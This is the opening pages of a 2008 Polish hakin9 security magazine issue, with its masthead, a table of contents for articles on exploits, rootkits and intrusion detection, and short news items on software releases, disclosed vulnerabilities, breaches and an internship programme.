background image
background image
background image
background image

SPIS TREŚCI

4

 

HAKIN9 6/2008

SPIS TREŚCI

5

 

HAKIN9 

6/2008

5

 

HAKIN9 

6/2008

5

 

HAKIN9 

6/2008

5

 

HAKIN9 

6/2008

jest wydawany przez Software–Wydawnictwo Sp. z o.o.

Dyrektor wydawniczy: Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Kierownik produkcji: Marta Kurpiewska

marta.kurpiewska@software.com.pl

DTP Manager: Robert Zadrożny

DTP: Przemysław Banasiewicz

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska

pren@software.com.pl

Wyróżnieni betatesterzy:

Rafał Lysik, Marcin Kulawinek

Opracowanie CD: Rafał Kwaśny

Druk: 101 Studio, Firma Tęgi 

Nakład wersji polskiej 6 000 egz.

Adres korespondencyjny: 

Software–Wydawnictwo Sp. z o.o.

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Redakcja dokłada wszelkich starań, by publikowane w piśmie 

i na towarzyszących mu nośnikach informacje i programy 

były poprawne, jednakże nie bierze odpowiedzialności za 

efekty wykorzystania ich; nie gwarantuje także poprawnego 

działania programów shareware, freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością 

odpowiednich firm i zostały użyte wyłącznie w celach 

informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano 

programem AntiVirenKit firmy G DATA Software Sp. z o.o.

Redakcja używa systemu 

automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma 

w cenie innej niż wydrukowana na okładce – bez zgody 

wydawcy – jest działaniem na jego szkodę i skutkuje 

odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: 

Hiszpanii, Argentynie, Portugalii, Francji, Belgii, 

Luksemburgu, Kanadzie, Maroko, Niemczech, 

Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy również sprzedaż kioskową 

w innych krajach europejskich.

Magazyn hakin9 wydawany jest 

w 7 wersjach językowych: 

PL 

 ES 

 CZ 

 EN 

 

IT 

 FR 

 DE 

UWAGA!

Techniki prezentowane w artykułach mogą być 

używane jedynie we własnych sieciach lokalnych. 

Redakcja nie ponosi odpowiedzialności za 

niewłaściwe użycie prezentowanych technik 

ani spowodowaną tym utratę danych.

NARZĘDZIA

14 

Norton System Works – Standard Edition

Recenzja programu Norton System Works – Standard Edition. 
Oprogramowanie to zawsze cieszyło się dużym uznaniem wśród 
użytkowników komputerów. Radosław Matusiak opisał wady i zalety tego 
produktu.

15 

ESET Smart Security

Recenzja programu ESET Smart Security. W dzisiejszych czasach 

zagrożenia napływające z Internetu coraz poważniej dają się nam we znaki. 
Patryk Elżanowski badał niezawodnośc tego produktu. 

POCZĄTKI

16 

Test CAPTCHA

 

SŁAWOMIR ORŁOWSKI

Jak odróżnić człowieka od automatu w Internecie? Istnieje prosty 
test, który może to sprawdzić. Wystarczy wygenerować obrazek ze 
zniekształconym tekstem i kazać użytkownikowi go odczytać. Z artykułu 
dowiesz się co to jest test CAPTCHA oraz jakie sa wady i zalety tego 
rozwiązania.

ATAK

20  Hakowanie Apple 

 

KONRAD ZUWAŁA

Apple od dawna jest producentem oprogramowania do odtwarzania 
multimediów. Jego produkty, takie jak QuickTime czy iTunes, zyskały sobie 
ogromną popularność wśród użytkowników, szczególnie, gdy posiadali 
oni inny produkt Apple – iPod'a. Jednak bezpieczeństwo użytkowników 
oprogramowania Apple zostało nadszarpnięte: odkryto lukę, która 
pozwala na przejęcie kontroli nad komputerem ofiary – użytkownika 
programu QuickTime.

24   Kod w Delphi – zmora crackera

 

ARTUR KOZUBSKI

Artykuł porusza kwestię zabezpieczania plików wykonywalnych przed 
odkrywaniem przez osoby nieuprawnione algorytmów do szyfrowania 
i generowania kluczy, zabezpieczających aplikacje Windows napisane 
w środowisku Delphi. Podstawowym zabezpieczeniem jest utrudnienie 
deasemblacji i analizy newralgicznych fragmentów kodu aplikacji 
odpowiedzialnych za realizację algorytmu generującego klucze 
aktywacyjne i ich weryfikację. 

34   Zagrożenia drukarek

 

GRZEGORZ BŁOŃSKI

Dzisiejsze wielofunkcyjne drukarki sieciowe to prawdziwe kombajny. 
Potrafią robić naprawdę wiele rzeczy. Czy – używając drukarki 
wielofunkcyjnej w swojej sieci – jesteś pewny, że nie zwiększasz ryzyka 
wycieku danych lub potencjalnego ataku na Twoją sieć? Autor wyjaśni co 
to jest urządzenie MFP i jak chronić drukarki przed atakiem XSP.

background image

SPIS TREŚCI

4

 

HAKIN9 6/2008

SPIS TREŚCI

5

 

HAKIN9 

6/2008

5

 

HAKIN9 

6/2008

5

 

HAKIN9 

6/2008

5

 

HAKIN9 

6/2008

38   Rootkity ACPI

 

KONRAD ZUWAŁA

Rootkity od zawsze były zmorą administratorów sieci. Jednak wraz z rozwojem 
technologii ukrywania złośliwego kodu w systemie, rozwijały się także narzędzia, 
które go wykrywały. Przed ich twórcami stanęło teraz nowe zadanie: rootkity, 
które ukrywają się w BIOSie, znane pod nazwą rootkitów ACPI. Jak się przed 
nimi bronić i jak działają – o tym właśnie jest ten artykuł.

44   Techniki spamowania

 

RAFAŁ PODSIADŁY

O tym, co robią spamerzy, jakich technik używają i co grozi zwykłemu 
użytkownikowi, gdy zasiada do komputera. Aby daną wiadomość można 

było nazwać spamem, powinna spełniać kilka warunków: brak możliwości 

zidentyfikowania nadawcy, niewyrażenie przez odbiorcę zgody na jej otrzymanie, 
wiadomość ma charakter reklamowy, informacyjny lub ostrzegawczy.

OBRONA

50  Analiza wydajności systemu SNORT

 

MARCIN KLAMRA

Konieczność analizy wszystkich pakietów przesyłanych w sieci przez system 
wykrywania włamań jest niezwykle istotna. Zgubienie choćby jednego pakietu 
może doprowadzić do sytuacji niewykrycia ataku. Należy w taki sposób 
konfigurować system wykrywania włamań, aby do tego typu sytuacji nie 
dopuścić.

58   Continuous Data Protection – najlepsza ochrona  

 

danych na naszym PC

 

MARIUSZ KAPANOWSKI

Artykuł przedstawia tematykę ochrony danych na komputerach osobistych 
pod kątem ich dostępności. Opisuje zagrożenia, które mogą skutkować 
utratą naszych danych z laptopa bądź PC–ta oraz proponuje rozwiązanie 
zapobiegawcze. Pokazuje, jak działa mechanizm opracowany specjalnie do 
ochrony danych na komputerach osobistych i czym się różni od mechanizmów 
stosowanych dotychczas dla maszyn serwerowych. Autor przeprowadza 
analizę najważniejszych cech programu do tworzenia kopii zapasowych.

64   MEncoder – vademecum ripowania

 

ŁUKASZ CIESIELSKI

Każdy zabierający się do czytania tego artykułu zapewne wie (lub raczej 
powinien wiedzieć), czym jest MEncoder. Wspomnę jedynie, że wchodzi on w 
skład pakietu odtwarzacza multimedialnego – MPlayer. Możliwości MEncodera 
są ogromne. Właściwie można nim przekonwertować każdy materiał wideo 
z jednego formatu na inny. Zaczniemy od podstaw, jednak pod koniec 
artykułu Czytelnik będzie w posiadaniu wiedzy, która pozwoli mu na dowolne 
manipulacje materiałem filmowym.

70  Monitoring zabezpieczeń

 

EDDIE SCHWARTZ, PRZEMYSŁAW KREJZA

Współczesne firmy i organizacje skupiają się na stosowaniu tradycyjnych 
form obrony przed wzrastającą falą ataków sieciowych, typu IDS/IPS, SIM itd. 
Coraz większa liczba incydentów dowodzi jednak, że rozwiązania te nie są 
w pełni skuteczne. Z artykułu dowiesz się o słabych punktach dzisiejszych 
zabezpieczeń systemowych oraz jak wygląda spojrzenie sledcze na incydenty. 
Wyjasnione zostało pojęcie total network knowledge. 

STAŁE 

RUBRYKI

6 W skrócie

Przedstawiamy garść najciekawszych 
wiadomości ze świata bezpieczeństwa 
systemów informatycznych i nie tylko.

10 Zawartość CD

Prezentujemy zawartość i sposób 
działania najnowszej wersji naszej 
sztandarowej dystrybucji hakin9.live.

74 Wywiad

Wywiad z Panią Elżbietą Stojek, 
specjalistką ds. bezpieczeństwa w 
firmie Microsoft.

78 Felieton

Aktywny terror hackingu
Patryk Krawaczyński
Aktywiści podczas swoich wystąpień 
wycierają buty na chodnikach przed 
siedzibami wielu organizacji rządowych, 
zarzucając je różnymi hasłami 
politycznymi, podczas gdy inni wycierają 
opuszki palców na klawiaturach, 
zarzucając serwer zapytaniami w celu 
jego całkowitego obciążenia.

82 Zapowiedzi

Zapowiedzi artykułów, które znajdą 
się w następnym wydaniu magazynu 
hakin9

background image

6

 

W SKRÓCIE

HAKIN9 6/2008

7

 

MATEUSZ STĘPIEŃ

HAKIN9 

6/2008

FREEBSD 7.0

Wydano pierwszą stabilną wersję 7.0 
systemu operacyjnego FreeBSD. Wersja 
7.0 wprowadza w stosunku do poprzednich 
wydań sporo nowych funkcji i usprawnień 
m.in: eksperymentalne wsparcie dla systemu 
plików ZFS Suna, usprawnienie schedulera 
ULE, poprawki dla systemu plików Unionfs. 
FreeBSD 7.0 dostępny jest obecnie na pięć 
architektur: amd64, i386, ia64, pc98, PowerPC.

KOLEJNE BŁĘDY 
W STRONACH RZĄDOWYCH

Jeden z konsultantów do spraw 
bezpieczeństwa, który współpracuje z 
portalem HACK.pl – Iwo Graj, znalazł błędy w 
czterech stronach rządowych z województwa 
świętokrzyskiego. Są to miedzy innymi: 
Wojewódzki Fundusz Ochrony Środowiska 
i Gospodarki Wodnej, Wojewódzki Urząd 
Ochrony Zabytków, Wojewódzki Inspektorat 
Ochrony Środowiska, Zakład Obsługi 
Informatyki Świętokrzyskiego Urzędu 
Wojewódzkiego w Kielcach. Ekspertyza 
przyniosła dość interesujące rezultaty. Iwo 
Graj znalazł błędy, które umożliwiają uzyskanie 
informacji o całej strukturze bazy danych, jak i 
też uzyskanie informacji na temat użytkowników 
i ich haseł. ...Po pierwsze,wszystkie z 
czterech stron posiadają błąd w jednej ze 
zmiennych która nie posiada filtrowania 
znaków specjalnych jak : ',() . co umożliwiają 
kontynuowanie zapytania do bazy danych. W 
obecnym czasie są to najbardziej popularne 
błędy jakie można spotkać w Systemach 
Zarządzania Treścią stron WWW. Często 
podczas analizy, lub audytu aplikacji spotykam 
się z takimi błędami...
 – dodaje Iwo Graj

UBUNTU 8.04 ALPHA 6

Wielkimi krokami zbliża się oficjalna premiera 
Ubuntu 8.04 Hardy Heron. Tymczasem 

developerzy systemu wydali nową wersję 
rozwojową Alpha 6 przeznaczoną do 
szerszego testowania w celu wyłapania 
najdrobniejszych błędów. Wśród nowości 
między innymi: X.Org 7.3 z nowym 
narzędziem do zmiany rozdzielczości, 
Brasero – program do nagrywania CD/DVD, 
Transmission – klient BitTorrent, dystrybucja 
posiada jądro w wersji 2.6.24-11.17, które 
bazuje na 2.6.24.3. Ubuntu to kompletna 
dystrybucja systemu operacyjnego GNU/
Linux bazująca na dystrybucji Debian. 
Projekt sponsorowany jest przez firmę Marka 
Shuttlewortha Canonical Ltd. Pierwsze 
wydanie Ubuntu ukazało się 20 października 
2004 roku jako tymczasowa odmiana 
dystrybucji Debian GNU/Linux.

LUKA 
BEZPIECZEŃSTWA W REAL PLAYER 

Specjalista ds. bezpieczeństwa IT – Elazar 
Broad wykrył poważną lukę w kontrolce 
ActiveX w popularnym odtwarzaczu plików 
multimedialnych Real Player, która pozwala 
na doprowadzenie do awarii przeglądarki, 
a nawet do wstrzyknięcia i wykonania 
szkodliwego kodu na komputerze ofiary. 
Do ataku dochodzi, gdy użytkownik 
odwiedzi specjalnie spreparowaną stronę 
internetową przy użyciu przeglądarki 

Internet Explorer. Błąd wykryty został w 
komponencie rmoc3260.dll modułu ActiveX 
i umożliwia napastnikowi nadpisanie 
bloków danych na stercie po ich uwolnieniu 
oraz na modyfikowanie niektórych 
rejestrów. Na chwilę obecną firma Real, 
producent RealPlayera nie udostępniła 
jeszcze łaty. Elazar Broad zaleca jednak, 
by użytkownicy RealPlayera ustawili 
killbit dla następujacych identyfikatorów 
klas {2F542A2E-EDC9-4BF7-8CB1-
87C9919F7F93} i {CFCDAA03-8BE4-
11CF-B84B-0020AFBBCCFA}. Dokładna 
informacje dotyczącą ustawiania killbitu 
można znaleźć na stronach Microsoft'u w 
artykule KB240797. 

IMAGINE CUP 
2007 AKCELERATOR INNOWACJI: 
POLACY ZWYCIĘZCAMI! 

Microsoft poinformował, że drużyna InPUT, 
finaliści Microsoft Imagine Cup 2007 w 
kategorii Projektowanie Oprogramowania, 
zwyciężyli w trzeciej edycji programu 
Imagine Cup Innovation Accelerator w 
Mountain View w Kalifornii. Program jest 
prowadzony w formie warsztatów, szkoleń 
i laboratoriów i ma na celu szkolenie 
młodych talentów technologicznych w 
zakresie umiejętności biznesowych, które 
pozwolą im przekształcić swoje projekty 
konkursowe w prawdziwe rynkowe produkty. 
Szkolenia, w których wzięliśmy udział 
były zarówno techniczne, jak i biznesowe. 
Pod okiem ekspertów rozwijaliśmy swoje 
projekty, przygotowując profesjonalne 
biznes plany oraz ćwicząc profesjonalne 
prezentacje. Co 2 dni prezentowaliśmy 
nasze projekty przed sędziami. W 
pierwszym tygodniu prezentacje trwały 
7 minut, w drugim tygodniu – 10 minut. 
Podczas finałów Imagine Cup w Polsce 
i w Korei mieliśmy na zaprezentowanie 
swojego rozwiązania 20 minut, dlatego 
zmiana na 7-minutowy pokaz była dla 
nas nie lada wyzwaniem. Szkolenia i 
warsztaty odbywały się w bardzo przyjaznej 
atmosferze, mimo to rywalizacja była 
zacięta. Wszystkie drużyny dawały z 
siebie to, co najlepsze. Wygrana z tak 
silną konkurencją jest dla nas ogromną 
przyjemnością. Ciężko pracowaliśmy 
na ten sukces
 – powiedział Szymon 
Wybrański, kapitan drużyny InPUT. Każda 
z drużyn otrzymała na starcie 500 tyś. 

background image

6

 

W SKRÓCIE

HAKIN9 6/2008

7

 

MATEUSZ STĘPIEŃ

HAKIN9 

6/2008

wirtualnych dolarów, a następnie zarabiała 
kolejne za poszczególne prezentacje. 
Polacy zwyciężyli z dużą przewagą. Wyniki 
tegorocznej edycji programu Imagine Cup 
– Akcelerator Innowacji są następujące: 
1.Polska – 1,721,540 wirtualnych dolarów, 
2.Irlandia – 1,279,000 wirtualnych dolarów, 
3.Tajlandia – 1,160,220 wirtualnych dolarów, 
4. Jamajka – 1,073,000 wirtualnych 
dolarów, 5. Meksyk – 1,000,150 wirtualnych 
dolarów, 6. Korea – 922,000 wirtualnych 
dolarów.

PRZESTĘPSTWO W INTERNECIE 
NIE JEST ANONIMOWE

Policjanci z sekcji do walki z 
przestępczością gospodarczą zatrzymali 
parę młodych ludzi, którzy w ramach 
zemsty na byłej dziewczynie włamali 
się do jej konta e-mail, komunikatorów. 
Sprawcy zmienili hasła, a z konta rozsyłali 
obraźliwe e-maile. Rafał B. lat 22 i Sylwia 
D. lat 21 usłyszeli zarzuty utrudniania, 
zniszczenia i zmiany dostępu do danych 
teleinformatycznych. Grozi im do 3 lat 
pozbawienia wolności.

G DATA SOFTWARE OSTRZEGA 
PRZED WIDEO-SPAMEM

Eksperci z firmy G DATA Software ostrzegają 
internautów korzystających z portali z plikami 
wideo przed instalowaniem wtyczek do 
przeglądarek z nieznanych źródeł, ponieważ 
bardzo często są to szkodliwe programy. 
Cyberprzestępcy wciąż szukają nowych 
trików, aby zachęcić nieświadome zagrożeń 
ofiary do zainstalowania szkodliwego 
oprogramowania na swoim komputerze. 
Aby móc oglądać filmy umieszczane w 
serwisach internetowych, Internauci zmuszeni 
są do zainstalowania szeregu wtyczek, w 
tym programów do obsługi języka Java. Gdy 
przeglądarka nie posiada wymaganych 
aplikacji, bądź są one zablokowane, 
pojawia się komunikat o konieczności 
zainstalowania obsługi Javy, podane są 
również linki, pod którymi można znaleźć 
odpowiednie plug-iny. Specjaliści z G 
DATA Software odkryli, iż ten mechanizm 
informowania o konieczności instalacji 
wtyczek wykorzystują obecnie przestępny, 
umieszczając pod spreparowanymi filmami 
linki do plików wykonawczych rzekomo 
wymaganych do ich obejrzenia. Wystarczy 

zezwolić na instalację fałszywej aplikacji, aby 
zainfekować komputer. G DATA Software to 
międzynarodowy lider rozwiązań do ochrony 
komputera – antywirusów, programów do 
szyfrowania i ochrony danych oraz niszczenia 
danych poufnych. Portfolio produktów firmy 
G DATA Security obejmuje rozwiązania 
zabezpieczające dla klientów końcowych, 
małych i średnich firm oraz dużych 
przedsiębiorstw. Rozwiązania G DATA Security 
są obecne na rynkach USA, Japonii, Niemiec, 
Anglii, Francji, Włoch, Hiszpanii, Kanady, Polski, 
Korei, Holandii, Belgii, Austrii, Szwajcarii, Węgier 
oraz w Luksemburgu. Międzynarodowa 
centrala firmy mieści się w Bochum 
(Niemcy). W Polsce firma ma swoją siedzibę 
w Szczecinku, z oddziałem handlowym 
zlokalizowanym w Warszawie.

DZIURAWY FLASH

Firma Adobe potwierdziła występowanie 
błędów w kilku swoich flagowych programach 
– Flash Basic, Flash Professional i Flash 
Creative Suite 3 Professional. Dziura pozwala 
na przemycenie szkodliwego kodu wewnątrz 
odpowiednio spreparowanych plików z 
rozszerzeniem .fla Odkrywca luki – Fortinet 
oraz Adobe nie zdradziły szczegółów 
dotyczących luk. Firma nalega, by użytkownicy 
zainstalowali wersję 9.0.16.0 Flash Playera, 
koncern przygotował też poprawione edycje 
dla systemów Linux i Solaris. Na dzień 
dzisiejszy nie jest dostępna łatka. Adobe 
prawdopodobnie naprawi błąd przy okazji 
publikacji następnej wersji Flash Professional.

NAUCZYCIEL HANDLOWAŁ 
NIELEGALNYMI PŁYTAMI

Świętokrzyscy policjanci, znaleźli w 
mieszkaniu 40-letniego nauczyciela z 
powiatu buskiego około 1300 nielegalnie 
skopiowanych płyt CD z programami 

komputerowymi, filmami i muzyką. 
Agresywny mężczyzna próbował oszukać 
funkcjonariuszy jednak jego wysiłek poszedł 
na marne – zostaną mu postawione zarzuty 
i zostanie doprowadzony przed oblicze 
prokuratury. Z pierwszych ustaleń Policji 
wynika, że mężczyzna sprzedawał płyty za 
pośrednictwem jednego z internetowych 
portali aukcyjnych, grozi mu teraz do 5 lat 
pozbawienia wolności oraz wysoka kara 
grzywny.

KOŃ TROJAŃSKI 
KRADNIE... KLIKNIĘCIA

Specjaliści ds. bezpieczeństwa 
komputerowego odkryli konia trojańskiego 
– Trojan.Trafbush, którego zadaniem 
jest klikanie w reklamy kontekstualne na 
wybranych stronach. W wyniku szkodliwego 
działania trojana z kont reklamodawców 
pobierane są pieniądze za kliknięcia, które 
nigdy nie miały miejsca. Wygląda to tak, 
jakby na reklamę klikała prawdziwa osoba, 
a w rzeczywistości nikt nie klika i nikt nie 
ogląda witryn reklamodawcy
 – mówi 
Zulfikar Ramzan. To już drugi szkodliwy 
kod, pierwszym był Trojan.Farfli, odkryty 
w ostatnim czasie, który zajmuje się tzw. 
defraudacją kliknięć. Na chwilę obecną 
nie wiadomo kto jest odpowiedzialny za 
wypuszczenie kodu do Sieci. Podejrzewani 
są właściciele stron, na których koń 
trojański generuje fałszywe kliknięcia.

MICROSOFT KUPIŁ KOMOKU

Microsoft kupił firmę Komoku, zajmującą 
się wykrywaniem i zapobieganiem przed 
rootkitami. Technologia Komoku ma być 
włączona do produktów Windows, dzięki 
czemu korporacja ulepszy swoje narzędzia 
antywirusowe o zwalczanie rootkitów. Komoku 
jest firmą założoną cztery lata temu przez 
rząd USA. Aktualnie Komoku zarządzana jest 
przez specjalizującego się od szesnastu lat w 
bezpieczeństwie informatycznym Dr. Williama 

background image

8

 

W SKRÓCIE

HAKIN9 6/2008

9

 

MATEUSZ STĘPIEŃ

HAKIN9 

6/2008

Arbaugha oraz byłego pracownika Silicon 
Graphics Inc. i Atheros Communications, 
Jeffrey’a Chunga. Komoku współpracowało 
z firmą Symantec w celu opracowania 
mechanizmów usuwania rootkitów oraz 
przywracania systemu.

SLAX 6.0.3

Tomas Matejicek wydał kolejną wersje 
dystrybucji SLAX 6, zbudowanej w oparciu 
o jedną z najstarszych dystrybucji Linuksa 
– Slackware. Nowa wersja 6.0.3 zawiera 
zaktualizowane komponenty KDE, usunięta 
została paczka gnutls, poprawione zostały 
błędy związane z uruchomieniem systemy. 
SLAX to jedna z dystrybucji Linuksa typu 
LiveCD, tworzona jest w całości przez tylko 
jedną osobę – Czecha Tomasa Matejiceka. 
Głównym założeniem SLAX-a jest 
mobilność. Zajmuje on tylko ok. 180 MB, co 
sprawia, że z łatwością można go zmieścić 
na CD lub Pendrivie.

MOZILLA FIREFOX 2.0.0.13

Mozilla Foundation opublikowała nowe 
wydanie przeglądarki Mozilla Firefox 2.0.0.13. 
W nowej wersji programiści poprawili 
znacznie bezpieczeństwo, eliminując 
kilka krytycznych błędów umożliwiających 

potencjalnemu napastnikowi przemycenie 
do systemu szkodliwego kodu, a także 
fałszowanie zawartości stron WWW. 
Jak widać, coraz większa popularność 
przegladarki przysparza jej programistom 
coraz więcej pracy. Na szczęście Mozilla 
Corporation szybko reaguje na najbardziej 
uciążliwe i niebezpieczne dla użytkowników 
usterki. Firefox jest przeglądarką internetową 
oparta o silnik Gecko, tworzona jest 
przez Fundację Mozilla/Korporację 
Mozilla oraz wolontariuszy. Firefox jest 
wciąż udoskonalany i staje się coraz 
bardziej popularną przeglądarką stron 
WWW, skupiającą za sobą wierne grono 
użytkowników-fanów.

LUKI W PRZEGLĄDARCE SAFARI 3.1

Argentyński haker Juan Pablo Lopez 
Yacubian odkrył dwie luki w najnowszej 
edycji przeglądarki Safari, oznaczonej 
symbolem 3.1. Argentyńczyk informuje, że 
wykryte przez niego błędy w przeglądarce 
mogą zostać wykorzystane przez 
atakującego do podstawienia fałszywej 
zawartości witryny lub do wstrzyknięcia 
szkodliwego kodu. Yacubian opracował dwie 
przykładowe strony internetowe ilustrujące 
istnienie i konsekwencje występowania 
błędów w windowsowej wersji przeglądarki 
Safari 3.1. Błąd nie występuje w Safari dla 
systemu Mac OS X. Apple nie przygotowało 
jeszcze poprawek. Na chwilę obecną 
Apple nie wydało aktualizacji niwelującej 
wspomniane luki w przeglądarce Safari 3.1.

NOWY STARY ROOTKIT

Odkryty niedawno rootkit głównego 
sektora rozruchowego wyewoluował i 
stał się bardziej niebezpieczny. Nowa 

wersja potrafi manipulować sterownikiem 
classpnp.sys, przez co używane dotąd 
narzędzia antyrootkitowe posługują się 
podstawionymi przez rootkita danymi i 
mogą nie móc go wykryć.

WŁAMANIE DO SPOŻYWCZEGO

Hakerzy zaatakowali sieć sklepów 
spożywczych Hannaford Bros. i ukradli 
dane dotyczące 4.2 miliona kart 
kredytowych, nie skradziono jednak 
żadnych danych adresowych klientów 
sieci. Włamanie do sieci odkryto 27 lutego 
po tym, jak klienci poinformowali sklep 
o niepokojących operacjach na koncie. 
Przepraszamy za włamanie do naszego 
systemu który, jak wierzymy, jest jednym z 
najlepszych na rynku. Ukradziono numery 
kart kredytowych i debetowych oraz daty 
ich wygaśnięcia. Włamania dokonano z 
jednego z naszych komputerów podczas 
autoryzacji kart
 - oświadczył szef firmy 
Hannaford Ronald Hodge.

PROGRAM 
STAŻOWY ENTER 2008 W ALTKOM 
SOFTWARE & CONSULTINGE

Odbywanie praktyk zawodowych 

w instytucjach państwowych czy 
prywatnych firmach stało się wśród 
studentów polskich uczelni powszechne. 
Każdy student poważnie myślący o 
swojej przyszłej karierze zawodowej ma 
praktyki na stałe wpisane do kalendarza 
zajęć akademickich. Adresowane do 
studentów czasopisma młodzieżowe, 
działające przy uczelniach wyższych 
biura karier czy odbywające się 
cyklicznie imprezy targowe regularnie 
dostarczają zainteresowanym informacji 
o aktualnych ofertach. Przeglądając je, 
można dojść do wniosku, że praktyki są 
dostępne właściwie w każdej, mniejszej 

background image

8

 

W SKRÓCIE

HAKIN9 6/2008

9

 

MATEUSZ STĘPIEŃ

HAKIN9 

6/2008

lub większej, firmie, a zainteresowani 
mogą przebierać w ofertach, dobierając 
je stosownie do własnych potrzeb i 
oczekiwań. Czy propozycje stażowe 
pracodawców pokrywają się jednak 
w pełni z oczekiwaniami studentów i 
rzeczywiście są startem do kariery? Czy w 
każdej firmie oferującej praktyki zawodowe 
zainteresowani mogą liczyć na zatrudnienie 
po zakończeniu okresu stażowego? Firmy 
zazwyczaj proponują bezpłatne (rzadziej 
płatne) praktyki na okres od 1 do 6 
miesięcy. Większość ofert stażowych jest 
do siebie bardzo podobna – stażysta, po 
uzyskaniu odpowiedniego zaświadczenia 
o odbyciu praktyki, najczęściej wraca 
na uczelnię albo od razu trafia na rynek 
pracy i na własną rękę szuka pierwszego 
pracodawcy. Tak jest prawie we wszystkich 
przypadkach.

Wyjątek stanowi niewątpliwie Program 

stażowy Enter, przygotowany przez 
Altkom Akademię z myślą o młodych 
informatykach. Różni się on od innych 
ofert stażowych właściwie pod każdym 
względem: 

•   PRAKTYKA GRUPOWA: Altkom 

jednorazowo przyjmuje grupę 24 
stażystów – po osiem osób na 
każdą z proponowanych ścieżek 
zawodowych. 

•   CZAS TRWANIA: 21 miesięcy, z czego 

trzy pierwsze miesiące obejmują 
szkolenie specjalistyczne w obrębie 
jednej z trzech ścieżek zawodowych. 
Organizator oferuje szkolenia w zakresie 
programowania Java, programowania 
.Net oraz analizy z udziałem najlepszych 
wykładowców Altkom Akademii, 
doświadczonych zarówno w dydaktyce, 
jak i w realizacji komercyjnych projektów 
informatycznych. Po zakończeniu 
szkolenia uczestnicy rozpoczynają 
trwający 18 miesięcy staż w pionie 
Altkom Software & Consulting, gdzie 
pod okiem najlepszych specjalistów, 
na odpowiednio przygotowanych 
przykładach trenują to, czego nauczyli 
się w trakcie szkolenia. W trakcie stażu 
stopniowo wdrażają się w realizację 
komercyjnych projektów dla klientów 
firmy. Czuwa nad nimi zespół tutorów. 

•   PRAKTYKA PŁATNA: udział w 

Programie stażowym Enter powinien 
być, zgodnie z koncepcją organizatora, 

startem do kariery zawodowej w 
branży informatycznej. Dlatego 
stażysta już od pierwszego dnia 
otrzymuje wynagrodzenie. Jego 
wysokość zmienia się po zakończeniu 
szkolenia wraz z rozpoczęciem stażu. 
Wynagrodzenie odpowiada zarobkom 
początkującego informatyka. Po 
zakończeniu programu kandydat, który 
zdecyduje się na kontynuację kariery 
w strukturze firmy, może liczyć nie tylko 
na wysoką pensję, ale i na udział w 
systemach premiowych. 

•   KONTRAKT STAŻOWY: stażysta 

w ramach udziału w programie 
podpisuje umowę dwukrotnie. 
Pierwszy kontrakt otrzymuje na 
początku szkolenia, drugi – na 
początku stażu. W obu dokumentach 
określone są podstawowe prawa i 
obowiązki obu stron. 

•   PAKIET SOCJALNY: w trakcie 

3-miesięcznego szkolenia 
stażyści spoza Warszawy mają 
zagwarantowane darmowe 
zakwaterowanie w wygodnym ośrodku 
noclegowym Altkom Akademii. 
Organizator funduje im też obiady 
oraz kartę sieciową na przejazdy 
komunikacją miejską. Po zakończeniu 
programu stażyści mogą przystąpić 
do egzaminów certyfikacyjnych, 
których koszt ponosi organizator. 
Ponieważ ich status w firmie w trakcie 
szkolenia odpowiada statusowi 
pracownika, objęci są także prywatną 
opieką medyczną. 

•   SZANSA NA ZATRUDNIENIE: po 

zakończeniu programu stażyści mogą 
liczyć na dalszą karierę w jednym z 
działów lub ośrodków Altkom Akademii. 
Kandydaci zainteresowani zdobywaniem 
doświadczenia zawodowego w innych 
firmach informatycznych, nie chcąc 
zarazem rozstawać się z Altkom 
Akademią, będą mogli skorzystać 
z powstającego właśnie systemu 
head-leasingu. Możliwość zatrudnienia 
na stałe zależy zarówno od wyników 
programu, jak i predyspozycji kandydata 
oraz jego motywacji do dalszej pracy. 
Organizator programu Enter liczy na 
to, że wszyscy uczestnicy programu 
odnajdą w Altkom Akademii swoje 
miejsce i będą chcieli związać się z 
firmą na przyszłość.

Pracując nad koncepcją organizacji 
Programu stażowego Enter 2008, zespół 
Altkom Software & Consulting uwzględnił 
całą gamę problemów, z którymi boryka 
się początkujący informatyk, i zestawił je z 
własnymi doświadczeniami, zdobywanymi 
przez lata rekrutacji specjalistów. Program 
Enter 2008 zapewnia idealną równowagę 
pomiędzy oczekiwaniami młodego 
pracownika a oczekiwaniami pracodawcy. 
Sukces zeszłorocznej edycji programu 
utwierdził Altkom w przekonaniu, że 
organizacja przedsięwzięć, takich Enter, 
jest dużo efektywniejszym sposobem na 
pozyskanie do firmy cennego pracownika 
niż tradycyjna rekrutacja. Prowadząc 
nabór do programu, Altkom wybiera 
takich kandydatów, którzy odpowiadają 
strategii rozwoju firmy, ma wpływ na ich 
właściwy rozwój, a także gwarancję, że 
zostaną odpowiednio przygotowani do 
pracy.

Program Enter odbywa się w edycjach 

rocznych (kolejną zaplanowano na jesień 
2009), jednak zainteresowani kandydaci 
mogą stale przesyłać swoje zgłoszenia 
do biura organizatora. Nadsyłane 
aplikacje są gromadzone w bazie firmy. 
Kandydaci, którzy dobrze zaprezentują 
się w trakcie rozmowy kwalifikacyjnej, a 
ich wiedza lub doświadczenie zawodowe 
szczególnie dobrze rokują,  mogą liczyć 
na propozycję pracy na stanowisku 
specjalisty bez konieczności zaliczania 
stażu.

Więcej informacji o Programie stażowym 
Enter: 

•   http://www.altkom.pl/enter

Partner Programu: 

•   NZS Drogowskazy Kariery

Patroni medialni: 

•   Hakin9, 
•   Software Developer’s Journal, 
•   Linux +, 
•   www.pracuj.pl,
•   www.businessman.pl
•   www.PracaDlaStudenta.pl
•   www.Kariera.IT.pl
•   Radio WAWA, 
•   Radio VOX FM.

background image

10

 

NA CD

HAKIN9 6/2008

11

 

HAKIN9.LIVE

HAKIN9 

6/2008

